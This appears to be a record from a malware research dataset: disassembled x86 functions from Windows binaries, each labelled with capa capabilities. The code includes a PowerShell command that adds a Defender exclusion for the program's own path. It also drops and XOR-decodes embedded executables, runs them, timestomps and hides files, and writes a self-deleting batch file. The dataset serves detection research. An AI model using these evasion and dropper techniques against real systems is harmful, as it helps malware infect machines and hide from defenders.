joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41290f
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x18], ecx
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 0xc], edi
push eax
push 0x4173f0
push 1
push edi
push 0x4145e0
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x412a66
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edi
push edx
push 0x4145d0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x412a66
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
mov ebx, edi
jmp 0x412a22
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0xc]
push edx
push 0x414560
push edi
lea eax, [eax + ebx*4]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
test eax, eax
jne 0x412a40
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push edi
push edx
push 0x417388
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x4129ce
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push edi
push edx
push str.FriendlyName
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x412a40
push 0x1c
pop ecx
call fcn.00405f53
test eax, eax
je 0x4129e5
mov ecx, eax
call fcn.00412bc7
mov edx, eax
jmp 0x4129e7
mov edx, edi
mov esi, dword [ebp - 0x20]
movzx eax, word [esi]
test ax, ax
je 0x412a10
mov ecx, eax
mov eax, dword [edx + 4]
mov word [eax + edi*2], cx
mov ecx, dword [edx]
mov al, byte [esi]
lea esi, [esi + 2]
mov byte [edi + ecx], al
inc edi
movzx eax, word [esi]
mov ecx, eax
test ax, ax
jne 0x4129f4
mov ecx, dword [ebp - 0x18]
push edx
mov dword [edx + 8], ebx
lea ecx, [ecx + 4]
call fcn.00402481
inc ebx
xor edi, edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x10], edi
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x412977
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x412a50
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x412a60
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 8], edi
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x412a6b
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
call fcn.00412447
xor ecx, ecx
cmp eax, ebx
lea eax, [ebp - 0x10]
push eax
push 0x4173f0
cmovb ebx, ecx
xor esi, esi
push 1
push esi
push 0x4145e0
mov dword [edi], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x412b25
mov eax, dword [ecx]
lea edx, [ebp - 4]
push esi
push edx
push 0x4145d0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x412b25
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
and dword [ebp - 8], esi
jmp 0x412af0
mov eax, dword [ebp - 0xc]
push edi
push 0x414580
push 0
mov ecx, dword [eax]
push 0
push eax
call dword [ecx + 0x20]
cmp dword [edi], 0
je 0x412aec
cmp esi, ebx
je 0x412b07
mov ecx, edi
inc esi
call fcn.004024e0
and dword [ebp - 8], 0
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0xc]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x412ac8
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x412b18
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x412b25
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x412fd7
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
mov ebx, pe_nt_image_headers32
push ebx
call fcn.00401085
push ebx
mov esi, eax
call fcn.00401085
push ebx
push 0
push esi
mov edi, eax
call fcn.00401052
push ebx
push 0
push edi
call fcn.00401052
add esp, 0x20
push ebx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, str.powershell_Add_MpPreference__ExclusionPath
push ebx
call fcn.00401133
push eax
push ebx
push edi
call fcn.0040102c
push 3
lea eax, [edi + 0x2b]
push esi
push eax
call fcn.0040102c
add esp, 0x1c
lea eax, [esi + 0xff]
push 1
push eax
push edi
call fcn.00401133
pop ecx
add eax, edi
push eax
call fcn.0040102c
add esp, 0xc
push 0
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebx
ret
Function at 0x40114d
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1a4]
sub esp, 0x224
mov eax, dword [0x406018]
xor eax, ebp
mov dword [ebp + 0x1a0], eax
push ebx
push esi
push edi
push 0xd
pop ecx
xor ebx, ebx
push 0x1d4
lea eax, [ebp - 0x34]
push ebx
mov esi, 0x404290
lea edi, [ebp - 0x68]
push eax
mov dword [ebp - 0x74], ebx
rep movsd dword es:[edi], dword [esi]
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
push 0xf003f
push ebx
lea eax, [ebp - 0x68]
push eax
mov esi, 0x80000002
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
je 0x4011d1
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
lea eax, [ebp - 0x68]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmp eax, ebx
jne 0x40128e
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
pop edi
push edi
lea eax, [ebp - 0x78]
push eax
push edi
push ebx
push str.VERSION_Value
push dword [ebp - 0x6c]
mov dword [ebp - 0x78], 0x7d3
call esi
mov ecx, 0x4042c8
mov eax, ecx
lea edx, [eax + 2]
mov dword [ebp - 0x70], edx
mov dx, word [eax]
inc eax
inc eax
cmp dx, bx
jne 0x4011ff
sub eax, dword [ebp - 0x70]
sar eax, 1
lea eax, [eax + eax + 4]
push eax
push ecx
push 1
push ebx
push 0x4043b0
push dword [ebp - 0x6c]
call esi
mov ecx, str.ff3487rbea4775grsn9_.uvu_a35_7754_bml_22114i81
mov eax, ecx
lea edx, [eax + 2]
mov dword [ebp - 0x70], edx
mov dx, word [eax]
inc eax
inc eax
cmp dx, bx
jne 0x40122e
sub eax, dword [ebp - 0x70]
sar eax, 1
lea eax, [eax + eax + 4]
push eax
push ecx
push 1
push ebx
push 0x4043d0
push dword [ebp - 0x6c]
call esi
push edi
lea eax, [ebp - 0x74]
push eax
push edi
push ebx
push 0x4043f0
push dword [ebp - 0x6c]
call esi
push edi
lea eax, [ebp + 0x1ac]
push eax
push edi
push ebx
push str.DNS_Value
push dword [ebp - 0x6c]
call esi
call fcn.004010c3
push edi
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
push edi
push ebx
push str.SubNet_Value
push dword [ebp - 0x6c]
call esi
cmp dword [ebp - 0x6c], ebx
pop edi
pop esi
pop ebx
je 0x40129f
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x1a0]
xor ecx, ebp
call fcn.00402cf0
add ebp, 0x1a4
leave
ret
Function at 0x4012b4
Capabilities:
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push 0
push 0x2000000
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4012e1
xor eax, eax
jmp 0x401355
push 0xb
mov eax, 0x7da
mov word [ebp - 0x18], ax
pop eax
mov word [ebp - 0x16], ax
xor eax, eax
push 0x15
mov word [ebp - 0x14], ax
pop eax
push 0x12
mov word [ebp - 0x12], ax
pop eax
push 7
mov word [ebp - 0x10], ax
pop eax
mov word [ebp - 0xe], ax
push 5
pop eax
mov word [ebp - 0xc], ax
xor eax, eax
mov word [ebp - 0xa], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea eax, [ebp - 8]
push eax
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
inc eax
pop esi
leave
ret

Function at 0x401358
Capabilities:
Delete file
Encode data using xor
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x294]
sub esp, 0x314
mov eax, dword [0x406018]
xor eax, ebp
mov dword [ebp + 0x290], eax
push ebx
push esi
push edi
push 0x103
lea eax, [ebp + 0x18d]
push 0
push eax
mov byte [ebp + 0x18c], 0
call sub.MSVCR90.dll_memset
add esp, 0xc
mov ebx, 0x104
push ebx
lea eax, [ebp + 0x18c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp + 0x18c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4013ad
mov esi, 0x404438
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp + 0x18c]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.MSVCR90.dll_remove]
mov dword [esp], 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
push 0x206
mov word [ebp - 0x7c], ax
xor edi, edi
lea eax, [ebp - 0x7a]
push edi
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x40444c
lea eax, [ebp - 0x7c]
push ebx
push eax
call dword [sym.imp.MSVCR90.dll_wcscat_s]
lea eax, [ebp - 0x80]
push eax
push 0x95
mov dword [ebp - 0x80], edi
call fcn.004019e8
mov esi, eax
add esp, 0x14
cmp esi, edi
je 0x401459
xor eax, eax
cmp dword [ebp - 0x80], edi
jle 0x40143a
xor byte [eax + esi], 0x99
inc eax
cmp eax, dword [ebp - 0x80]
jl 0x401430
push dword [ebp - 0x80]
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00401a7d
lea eax, [ebp - 0x7c]
push eax
call fcn.004012b4
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete_void__
add esp, 0x14
mov ecx, dword [ebp + 0x290]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00402cf0
add ebp, 0x294
leave
ret
Function at 0x4014be
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x398]
sub esp, 0x418
mov eax, dword [0x406018]
xor eax, ebp
mov dword [ebp + 0x394], eax
push esi
push edi
xor eax, eax
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push eax
call sub.MSVCR90.dll_memset
xor eax, eax
push esi
push eax
mov word [ebp + 0x18c], ax
lea eax, [ebp + 0x18e]
push eax
call sub.MSVCR90.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
add esp, 0x18
lea eax, [ebp - 0x7c]
push eax
mov esi, 0x104
push esi
call edi
lea eax, [ebp + 0x18c]
push eax
push esi
call edi
push str.ssdx64.exe
lea eax, [ebp + 0x18c]
push esi
push eax
call dword [sym.imp.MSVCR90.dll_wcscat_s]
and dword [ebp - 0x80], 0
lea eax, [ebp - 0x80]
push eax
push 0x95
call fcn.004019e8
mov esi, eax
add esp, 0x14
test esi, esi
je 0x40157d
push dword [ebp - 0x80]
lea eax, [ebp + 0x18c]
push esi
push eax
call fcn.00401a7d
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp + 0x18c]
call fcn.00401d77
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete_void__
add esp, 0x14
mov ecx, dword [ebp + 0x394]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00402cf0
add ebp, 0x398
leave
ret
push ebx
push esi
push edi
mov esi, 0x104
push esi
push 0x407118
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
movzx ecx, word [eax + 0x407118]
mov word [eax + 0x407320], cx
inc eax
inc eax
test cx, cx
jne 0x401674
mov ebx, dword [sym.imp.MSVCR90.dll_wcscat_s]
push 0x4044ac
push esi
mov edi, 0x407320
push edi
call ebx
push 0x404230
push esi
push edi
call ebx
push 0xb2
call fcn.00401adb
add esp, 0x1c
test eax, eax
je 0x4016be
push edi
call fcn.004012b4
pop ecx
push 0
push 0
push 0
push edi
push 0x4044a0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
jmp 0x4014be

Function at 0x401596
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x11ac
call fcn.004037e0
mov eax, dword [0x406018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0xf9e
mov word [ebp - 0x11ac], ax
xor ebx, ebx
lea eax, [ebp - 0x11aa]
push ebx
push eax
call sub.MSVCR90.dll_memset
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push ebx
push eax
call sub.MSVCR90.dll_memset
add esp, 0x18
lea eax, [ebp - 0x11ac]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
movzx ecx, word [ebp + eax - 0x11ac]
mov word [ebp + eax - 0x20c], cx
inc eax
inc eax
cmp cx, bx
jne 0x401600
push str.sc.exe
lea eax, [ebp - 0x20c]
push esi
push eax
call dword [sym.imp.MSVCR90.dll_wcscat_s]
push 0x96
lea edi, [ebp - 0x20c]
call fcn.00401adb
add esp, 0x10
push ebx
push ebx
push ebx
mov eax, edi
push eax
push 0x4044a0
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402cf0
leave
ret
Function at 0x40165e
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x398]
sub esp, 0x418
mov eax, dword [0x406018]
xor eax, ebp
mov dword [ebp + 0x394], eax
push esi
push edi
xor eax, eax
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push eax
call sub.MSVCR90.dll_memset
xor eax, eax
push esi
push eax
mov word [ebp + 0x18c], ax
lea eax, [ebp + 0x18e]
push eax
call sub.MSVCR90.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
add esp, 0x18
lea eax, [ebp - 0x7c]
push eax
mov esi, 0x104
push esi
call edi
lea eax, [ebp + 0x18c]
push eax
push esi
call edi
push str.ssdx64.exe
lea eax, [ebp + 0x18c]
push esi
push eax
call dword [sym.imp.MSVCR90.dll_wcscat_s]
and dword [ebp - 0x80], 0
lea eax, [ebp - 0x80]
push eax
push 0x95
call fcn.004019e8
mov esi, eax
add esp, 0x14
test esi, esi
je 0x40157d
push dword [ebp - 0x80]
lea eax, [ebp + 0x18c]
push esi
push eax
call fcn.00401a7d
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp + 0x18c]
call fcn.00401d77
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete_void__
add esp, 0x14
mov ecx, dword [ebp + 0x394]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00402cf0
add ebp, 0x398
leave
ret
push ebx
push esi
push edi
mov esi, 0x104
push esi
push 0x407118
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
movzx ecx, word [eax + 0x407118]
mov word [eax + 0x407320], cx
inc eax
inc eax
test cx, cx
jne 0x401674
mov ebx, dword [sym.imp.MSVCR90.dll_wcscat_s]
push 0x4044ac
push esi
mov edi, 0x407320
push edi
call ebx
push 0x404230
push esi
push edi
call ebx
push 0xb2
call fcn.00401adb
add esp, 0x1c
test eax, eax
je 0x4016be
push edi
call fcn.004012b4
pop ecx
push 0
push 0
push 0
push edi
push 0x4044a0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
jmp 0x4014be

Function at 0x4016e5
Capabilities:
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push 0
push 0x2000000
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401712
xor eax, eax
jmp 0x401786
push 7
mov eax, 0x7e1
mov word [ebp - 0x18], ax
pop eax
mov word [ebp - 0x16], ax
xor eax, eax
push 0x16
mov word [ebp - 0x14], ax
pop eax
push 5
mov word [ebp - 0x12], ax
pop eax
push 7
mov word [ebp - 0x10], ax
pop eax
mov word [ebp - 0xe], ax
push 5
pop eax
mov word [ebp - 0xc], ax
xor eax, eax
mov word [ebp - 0xa], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea eax, [ebp - 8]
push eax
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x401789
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x18c]
sub esp, 0x20c
mov eax, dword [0x406018]
xor eax, ebp
mov dword [ebp + 0x188], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x80], ax
xor ebx, ebx
lea eax, [ebp - 0x7e]
push ebx
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x4044b0
lea eax, [ebp - 0x80]
push esi
push eax
call dword [sym.imp.MSVCR90.dll_wcscat_s]
push 0xb8
lea edi, [ebp - 0x80]
call fcn.00401adb
add esp, 0x10
test eax, eax
je 0x4017fe
mov eax, edi
push eax
call fcn.004016e5
pop ecx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x80]
push eax
push 0x4044a0
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp + 0x188]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402cf0
add ebp, 0x18c
leave
ret

Function at 0x401829
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x394]
sub esp, 0x414
mov eax, dword [0x406018]
xor eax, ebp
mov dword [ebp + 0x390], eax
push ebx
push esi
push 0x200
xor ebx, ebx
lea eax, [ebp + 0x190]
push ebx
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push ebx
push 8
lea eax, [ebp + 0x190]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp + 0x190]
push 0x5c
push eax
call dword [sym.imp.MSVCR90.dll_wcsrchr]
pop ecx
pop ecx
cmp eax, ebx
je 0x401888
xor ecx, ecx
mov word [eax], cx
push edi
push 0xd
pop ecx
push 0x1d4
lea eax, [ebp - 0x44]
push ebx
mov esi, 0x4044c4
lea edi, [ebp - 0x78]
push eax
rep movsd dword es:[edi], dword [esi]
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [ebp - 0x7c]
push eax
push 0xf003f
push ebx
lea eax, [ebp - 0x78]
push eax
mov esi, 0x80000002
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
pop edi
cmp eax, ebx
je 0x4018e7
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmp eax, ebx
jne 0x40191b
lea eax, [ebp + 0x190]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x4018f0
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 4]
push eax
lea eax, [ebp + 0x190]
push eax
push 1
push ebx
push 0x4044f8
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp dword [ebp - 0x7c], ebx
pop esi
pop ebx
je 0x40192b
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x390]
xor ecx, ebp
call fcn.00402cf0
add ebp, 0x394
leave
ret
Function at 0x4019e8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IDR_BINARY
push dword [ebp + 8]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x401a77
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 4]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov esi, edi
and esi, 0x1ff
neg esi
sbb esi, esi
mov dword [eax], edi
mov eax, edi
neg esi
shr eax, 9
add esi, eax
shl esi, 9
push esi
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
push esi
mov ebx, eax
push 0
push ebx
call sub.MSVCR90.dll_memset
push edi
push dword [ebp - 4]
push ebx
call sub.MSVCR90.dll_memcpy
add esp, 0x1c
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x401a7d
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 8]
xor esi, esi
and dword [ebp - 4], esi
call dword [sym.imp.MSVCR90.dll__wremove]
mov dword [esp], 0x404520
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.MSVCR90.dll__wfopen_s]
add esp, 0xc
cmp dword [ebp - 4], esi
je 0x401ad6
push dword [ebp - 4]
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
call dword [sym.imp.MSVCR90.dll_fwrite]
add esp, 0x10
cmp eax, dword [ebp + 0x10]
jne 0x401ac6
inc esi
cmp dword [ebp - 4], 0
je 0x401ad6
push dword [ebp - 4]
call dword [sym.imp.MSVCR90.dll_fclose]
pop ecx
mov eax, esi
pop esi
leave
ret
Function at 0x401b9c
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x404]
sub esp, 0x484
mov eax, dword [0x406018]
xor eax, ebp
mov dword [ebp + 0x400], eax
push ebx
push esi
push edi
push 0x19
pop ecx
mov esi, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_n:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_ndel___s_
lea edi, [ebp + 0x398]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp + 0x190]
movsb byte es:[edi], byte [esi]
push eax
mov esi, 0x104
xor ebx, ebx
push esi
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str._uninsep.bat
lea eax, [ebp + 0x190]
push esi
push eax
call dword [sym.imp.MSVCR90.dll_strcat_s]
add esp, 0xc
push esi
lea eax, [ebp + 0x294]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x294]
push eax
lea eax, [ebp - 0x78]
push esi
push eax
call dword [sym.imp.MSVCR90.dll_strcpy_s]
add esp, 0xc
xor eax, eax
mov cl, byte [ebp + eax + 0x294]
mov byte [ebp + eax + 0x8c], cl
inc eax
cmp cl, bl
jne 0x401c21
lea eax, [ebp + 0x8c]
push 0x5c
push eax
call dword [sym.imp.MSVCR90.dll_strrchr]
pop ecx
pop ecx
cmp eax, ebx
je 0x401c4b
mov byte [eax], bl
lea edi, [ebp + 0x8c]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x401c52
mov esi, str._sc.exe
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x78]
push 0x5c
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.MSVCR90.dll_strrchr]
pop ecx
pop ecx
cmp eax, ebx
je 0x401c75
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x401d5f
lea eax, [ebp + 0x398]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401ca6
sub eax, edx
lea ecx, [ebp + 0x294]
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x401cba
lea eax, [ebp + 0x190]
sub ecx, edi
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x401ccc
imul ecx, ecx, 3
sub eax, edi
add ecx, eax
lea esi, [ecx + esi + 0x32]
push esi
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
push esi
mov edi, eax
push ebx
push edi
call sub.MSVCR90.dll_memset
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp + 0x8c]
push eax
push eax
lea eax, [ebp + 0x294]
push eax
push eax
lea eax, [ebp + 0x398]
push eax
push esi
push edi
call dword [sym.imp.MSVCR90.dll_sprintf_s]
mov eax, edi
add esp, 0x30
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401d1c
push ebx
lea ecx, [ebp - 0x80]
push ecx
sub eax, esi
push eax
push edi
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x190]
push eax
push 0x4045ac
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp edi, ebx
je 0x401d5f
push edi
call sub.MSVCR90.dll_void___cdecl_operator_delete_void__
pop ecx
mov ecx, dword [ebp + 0x400]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402cf0
add ebp, 0x404
leave
ret